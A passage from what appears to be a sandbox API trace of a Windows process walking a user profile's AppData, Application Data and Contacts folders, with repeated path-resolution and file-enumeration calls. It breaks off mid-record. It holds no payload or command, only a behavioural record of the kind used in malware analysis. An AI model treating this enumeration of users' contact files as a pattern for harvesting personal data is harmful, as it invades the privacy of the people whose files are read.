returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0080.211] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0080.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\", lpFilePart=0x0) returned 0x2f [0080.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.217] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0080.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0080.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", lpFilePart=0x0) returned 0x27 [0080.219] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.219] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.220] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0080.220] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0080.220] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0080.220] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0080.220] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.221] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0080.221] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0080.221] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, 